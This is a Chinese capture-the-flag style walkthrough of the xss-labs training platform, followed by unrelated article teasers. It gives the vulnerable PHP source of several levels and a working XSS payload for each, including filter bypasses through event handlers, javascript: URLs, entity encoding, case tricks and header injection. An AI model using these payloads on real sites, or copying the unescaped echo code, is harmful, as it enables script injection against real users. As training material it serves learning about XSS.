xss靶场

xss-labs下载地址:GitHub - do0dl3/xss-labs: xss 跨站漏洞平台

xss常见触发标签:XSS跨站脚本攻击实例与防御策略-CSDN博客

level-1

        首先查看网页的源代码发现get传参的name的值test插入了html里头,还回显了payload的长度。

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<h2 align=center>欢迎用户test</h2><center><img src=level1.png></center>//test在这里回显
<h3 align=center>payload的长度:4</h3></body>
</html>

输入:?name=<script>alert()</script>即可。//alert:js弹窗函数。

查看一下源代码:

//没有过滤,直接传参触发xss即可
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];//产参输入
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

level-2

和第一关一样,先注入一下试试:<script>alert()</script>,没有成功,查看页面源代码。

可以看到,第一个的特殊符号尖括号被实体化了,但是第二个没有。不过第二个被双引号闭合起来了,语句没有被执行,那么闭合两侧的双引号和尖括号即可。

输入:"><script>alert()</script><"

查看一下源代码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");window.location.href="level3.php?writing=wait"; 
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];        //下面这个htmlspcialchars()函数将参数给实体化了
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

level-3

和之前一样输入:<script>alert()</script>,没有成功,查看页面源代码。

可以看到,两个地方都被实体化了。查看源代码,发现都是htmlspcialchars()函数进行的实体化,而此函数只是对尖括号进行实体化,所以我们可以使用onfocus事件绕过,代码中是用的单引号,所以需要单引号闭合。

onfocus事件:onfocus事件在元素获得焦点时触发,最常与 <input>、<select> 和 <a> 标签一起使用,简单来说,onfocus事件就是当输入框被点击的时候,就会触发myFunction()函数,然后我们再配合javascript伪协议来执行js代码。

输入:' onfocus=javascript:alert() '

输入完成后没有弹窗,再次点击一下输入框就可以触发。

level-4

查看页面源代码,发现这关用的是双引号。依然可以使用onfocus进行绕过。

输入:" onfocus=javascript:alert() "

查看一下源代码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");window.location.href="level5.php?keyword=find a way out!"; 
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);//本行和下一行的代码将两个尖括号删除了。
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

level-5

首先输入" onfocus=javascript:alert() ",查看页面源代码。

我们输入的on变成了o_n,这就过滤了onfocus方法。

查看一下源代码。

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");window.location.href="level6.php?keyword=break it out!"; 
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);//将字母转化为小写。
$str2=str_replace("<script","<scr_ipt",$str);//过滤了script
$str3=str_replace("on","o_n",$str2);//过滤了onfocus
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

有转化字母为小写的函数,所以,我们无法使用大小写绕过。这里我们使用a href方法。

a href方法:href的属性是 当<a>被点击时,会执行触发跳转。那么我们就可以触发执行一段js代码或者一段链接,这里插入一段js代码。

输入:"> <a href=javascript:alert()>xxx</a> <"

输入完成后点击xxx链接即可。

level-6

查看页面源代码,没有发现过滤了什么,输入关键词看看:onfocus <script> <a href=javascript:alert()>,再看源代码发现这几个都被过滤了。再加上大小写看看有没有被转化。输入:OnFocus <sCriPt> <a hReF=javascript:alert()>。

查看源代码:没有过滤大小写。

使用大小写绕过:

"> <sCript>alert()</sCript> <"
" Onfocus=javascript:alert() "
"> <a hRef=javascript:alert()>x</a> <" //三者选其一都可

查看源代码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");window.location.href="level7.php?keyword=move up!"; 
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);//过滤script
$str3=str_replace("on","o_n",$str2);//过滤onfocus
$str4=str_replace("src","sr_c",$str3);//过滤src
$str5=str_replace("data","da_ta",$str4);//过滤data
$str6=str_replace("href","hr_ef",$str5);//过滤ghref
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

level-7

和之前一样,输入关键词看看效果:" OnFocus <sCriPt> <a hReF=javascript:alert()>

查看源代码看看结果:如图:大写变成了小写,on,script,href,script这些关键词被删了。

被删除了,那么就用双拼写绕过即可,例如oonn,中间的on被删掉后依然是on。

输入:"> <a hrehreff=javasscriptcript:alert()>x</a> <"

level-8

本关看页面需要上传一个友情链接,先输入一个123看看,看到在input标签和href中有传到了输入的内容。

下来测试一下过滤情况,输入:" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>看一下结果。可以看到两个里面的尖括号和双引号都被实体化了。

这里需要使用到href的一个隐藏属性:href自动Unicode解码,我们可以插入一段js伪协议。

输入:javascript:alert()

使用在线工具进行Unicode编码,解码得:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

输入后点击友情链接即可。

level-9

先输入关键词看看过滤情况:" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;

没有插入成功,看下源代码。

当输入语句没有http://时,strpos函数会返回false和false相等,此时会执行if语句,因此我们需要输入中有http://但是要注释掉,以免影响执行其他语句。

输入:&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/* http:// */

level-10

输入关键词看看过滤情况," sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;

查看页面源代码发现全部被实体化了,查看源代码。

还有一个隐藏的传参t_sort,过滤掉了尖括号,使用onfocus事件,因为输入框被隐藏,所以添加type="text"。

输入:?t_sort=" onfocus=javascript:alert() type="text

输入完成点击输入框即可。

level-11

查看页面源代码

发现<input>标签里面四个值都做了隐藏,不过第四个名为t_ref的<input>标签是http头referer的参数(就是由啥地址转跳到这里的,http头的referer会记录有),使用get和post传参输入检查一下前三个,会发现都上传失败了,所以我们使用BP抓包添加http头。

输入:Referer: " onfocus=javascript:alert() type="text

输入后点击输入框即可。

level-12

查看源代码。

根据源代码,这是user-agent头,使用BP修改UA头即可。修改为:" onfocus=javascript:alert() type="text

level-13

查看页面源代码。

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");window.location.href="level14.php"; 
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<h2 align=center>没有找到和good job!相关的结果.</h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
<input name="t_cook"  value="" type="hidden">//t_cook考虑到cookie值。
</form>
</center><center><img src=level13.png></center>
<h3 align=center>payload的长度:9</h3></body>
</html>

打开F12找到cookie值修改,这次使用" onclick=alert() type="text ,当然onfocus也可以:" onfocus=javacript:alert() type="text

level-14

本关是要跳转到一个网站,在那个网站进行注入,但是现在网站崩了,就没法打了,直接到15关。

level-15

ng-include指令就是文件包涵的意思,用来包涵外部的html文件,如果包涵的内容是地址,需要加引号

这里我们可以包含第一关,然后进行绕过。

输入:?src='/level1.php?name=<img src=1 onmouseover=alert()>'

level-16

可以看到,test被插入进了center标签中,故而不需要闭合,测试一下关键字:

?keyword=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()> &#106; 

发现这里先是将字母小写化了,再把script替换成空格,最后将空格给实体化。/也被替换成了空格。使用<svg>标签。

输入:?keyword=<svg%0Aonload=alert(1)>

level-17

测试一下关键词发现使用了html转义,这里不需要闭合符号,传入的参数都出现在了embed标签上,打开后缀名为swf的文件(FLASH插件的文件,现在很多浏览器都不支持FLASH插件了)

embed标签:embed标签可以理解为定义了一个区域,可以放图片、视频、音频等内容,但是呢相对于他们,embed标签打开不了文件的时候就会没有显示的区域。

可以使用flash打开,如果不想下载,可以去源代码将xsfo01.swf改为index.png即可。

输入:?arg02= onclick=alert()

再点击一下图片即可。

level-18

和上一关一样,先改了一下后端的代码。只进行了实体化函数,和上一关基本一样。

输入:?arg02= onmousedown=alert()

level-19

最后几关都是flash xss。

输入:?arg01=version&arg02=<a href="javascript:alert()">here</a>

level-20

输入:?arg01=id&arg02=xss\"))}catch(e){alert(1)}//%26width=123%26height=123

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/69213.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

主机监控软件WGCLOUD使用指南 - 如何设置主题背景色

WGCLOUD运维监控系统&#xff0c;从v3.5.7版本开始支持设置不同的主题背景色&#xff0c;如下 更多主题查看说明 如何设置主题背景色 - WGCLOUD

C语言:数据的存储

本文重点&#xff1a; 1. 数据类型详细介绍 2. 整形在内存中的存储&#xff1a;原码、反码、补码 3. 大小端字节序介绍及判断 4. 浮点型在内存中的存储解析 数据类型结构的介绍&#xff1a; 类型的基本归类&#xff1a; 整型家族 浮点家族 构造类型&#xff1a; 指针类型&…

51单片机入门_01_单片机(MCU)概述(使用STC89C52芯片;使用到的硬件及课程安排)

文章目录 1. 什么是单片机1.1 微型计算机的组成1.2 微型计算机的应用形态1.3 单板微型计算机1.4 单片机(MCU)1.4.1 单片机内部结构1.4.2 单片机应用系统的组成 1.5 80C51单片机系列1.5.1 STC公司的51单片机1.5.1 STC公司单片机的命名规则 2. 单片机的特点及应用领域2.1 单片机的…

使用 OpenCV 和 Python 轻松实现人脸检测

目录 一、准备工作 二、加载人脸检测模型 三、读取图像并进行人脸检测 四、处理视频中的人脸检测 五、优化人脸检测效果 六、总结 在人工智能和计算机视觉领域,人脸检测是一项非常基础且重要的技术。通过人脸检测,我们可以在图像或视频中识别并定位人脸,进而进行后续的…

Qt 控件与布局管理

1. Qt 控件的父子继承关系 在 Qt 中&#xff0c;继承自 QWidget 的类&#xff0c;通常会在构造函数中接收一个 parent 参数。 这个参数用于指定当前空间的父控件&#xff0c;从而建立控件间的父子关系。 当一个控件被设置为另一控件的子控件时&#xff0c;它会自动成为该父控…

20250122-正则表达式

1. 正则标记 表示一位字符&#xff1a;\\ 表示指定的一位字符&#xff1a;x 表示任意的一位字符&#xff1a;. 表示任意一位数字&#xff1a;\d 表示任意一位非数字&#xff1a;\D 表示任意一个字母&#xff1a;[a-zA-Z]&#xff08;大写或小写&#xff09; 表示任意一个…

基于DNN深度神经网络的OFDM+QPSK信号检测与误码率matlab仿真

目录 1.算法仿真效果 2.算法涉及理论知识概要 3.MATLAB核心程序 4.完整算法代码文件获得 1.算法仿真效果 matlab2022a仿真结果如下&#xff08;完整代码运行后无水印&#xff09;&#xff1a; 仿真操作步骤可参考程序配套的操作视频。 2.算法涉及理论知识概要 在现代通信…

一文详解Filter类源码和应用

背景 在日常开发中&#xff0c;经常会有需要统一对请求做一些处理&#xff0c;常见的比如记录日志、权限安全控制、响应处理等。此时&#xff0c;ServletApi中的Filter类&#xff0c;就可以很方便的实现上述效果。 Filter类 是一个接口&#xff0c;属于 Java Servlet API 的一部…

switch组件的功能与用法

文章目录 1 概念介绍2 使用方法3 示例代码 我们在上一章回中介绍了PageView这个Widget,本章回中将介绍Switch Widget.闲话休提&#xff0c;让我们一起Talk Flutter吧。 1 概念介绍 我们在这里介绍的Switch是指左右滑动的开关&#xff0c;常用来表示某项设置是打开还是关闭。Fl…

C++ 复习总结记录九

C 复习总结记录九 主要内容 1、list 介绍及使用 2、list 剖析及模拟实现 3、list 与 vector 对比 一 list 介绍及使用 List 相关文档 1、List 在任意位置进行插入和删除的序列式容器 O(1) &#xff0c;且该容器可前后双向迭代 2、List 底层是带头双向循环链表&#xff…

从音频到 PDF:AI 全流程打造完美英文绘本教案

今天把英文绘本的自学教案自动生成流程完成了&#xff0c;我分享一下整个实现思路&#xff0c;让你也轻松搞定英文绘本教案的产出&#xff0c;让孩子的学习之路更加顺畅。  从音频到 PDF&#xff1a;AI 全流程打造完美英文绘本教案 一、音频转文本&#xff1a;AI 助力第一步 …

(5)STM32 USB设备开发-USB键盘

讲解视频&#xff1a;2、USB键盘-下_哔哩哔哩_bilibili 例程&#xff1a;STM32USBdevice: 基于STM32的USB设备例子程序 - Gitee.com 本篇为使用使用STM32模拟USB键盘的例程&#xff0c;没有知识&#xff0c;全是实操&#xff0c;按照步骤就能获得一个STM32的USB键盘。本例子是…

初步认识操作系统(Operator System)

目录 一、概念二、设计OS的目的三、定位四、操作系统上下的分级五、如何理解 "管理"六、总结 一、概念 任何计算机系统都包含一个基本的程序集合&#xff0c;称为操作系统(OS)。操作系统包括&#xff1a; 内核&#xff08;进程管理&#xff0c;内存管理&#xff0c…

LINUX 平台最快子网路由转发,内核使能选项配置

阅读本文之间&#xff0c;可线性参考以下文献。 Linux 命令行配置为单臂旁路由。_linux单臂路由-CSDN博客 Linux 软路由命令行配置&#xff08;参考&#xff09;_linux软路由-CSDN博客 VGW在 Windows 平台上局域网就绪的旁路由器程序_windows旁路由-CSDN博客 本文介绍 LINUX…

python创建一个httpServer网页上传文件到httpServer

一、代码 1.server.py import os from http.server import SimpleHTTPRequestHandler, HTTPServer import cgi # 自定义请求处理类 class MyRequestHandler(SimpleHTTPRequestHandler):# 处理GET请求def do_GET(self):if self.path /:# 响应200状态码self.send_response(2…

一文讲解Java中的重载、重写及里氏替换原则

提到重载和重写&#xff0c;Java小白应该都不陌生&#xff0c;接下来就通过这篇文章来一起回顾复习下吧&#xff01; 重载和重写有什么区别呢&#xff1f; 如果一个类有多个名字相同但参数不同的方法&#xff0c;我们通常称这些方法为方法重载Overload。如果方法的功能是一样…

Java Swing 基础组件详解 [论文投稿-第四届智能系统、通信与计算机网络]

大会官网&#xff1a;www.icisccn.net Java Swing 是一个功能强大的 GUI 工具包&#xff0c;提供了丰富的组件库用于构建跨平台的桌面应用程序。本文将详细讲解 Swing 的基础组件&#xff0c;包括其作用、使用方法以及示例代码&#xff0c;帮助你快速掌握 Swing 的核心知识。 一…

前端小案例——520表白信封

前言&#xff1a;我们在学习完了HTML和CSS之后&#xff0c;就会想着使用这两个东西去做一些小案例&#xff0c;不过又没有什么好的案例让我们去练手&#xff0c;本篇文章就提供里一个案例——520表白信封 ✨✨✨这里是秋刀鱼不做梦的BLOG ✨✨✨想要了解更多内容可以访问我的主…

Github 2025-01-25Rust开源项目日报Top10

根据Github Trendings的统计,今日(2025-01-25统计)共有10个项目上榜。根据开发语言中项目的数量,汇总情况如下: 开发语言项目数量Rust项目10Python项目1Vue项目1JavaScript项目1Deno: 现代JavaScript和TypeScript运行时 创建周期:2118 天开发语言:Rust, JavaScript协议类型…

Arcgis国产化替代:Bigemap Pro正式发布

在数字化时代&#xff0c;数据如同新时代的石油&#xff0c;蕴含着巨大的价值。从商业决策到科研探索&#xff0c;从城市规划到环境监测&#xff0c;海量数据的高效处理、精准分析与直观可视化&#xff0c;已成为各行业突破发展瓶颈、实现转型升级的关键所在。历经十年精心打磨…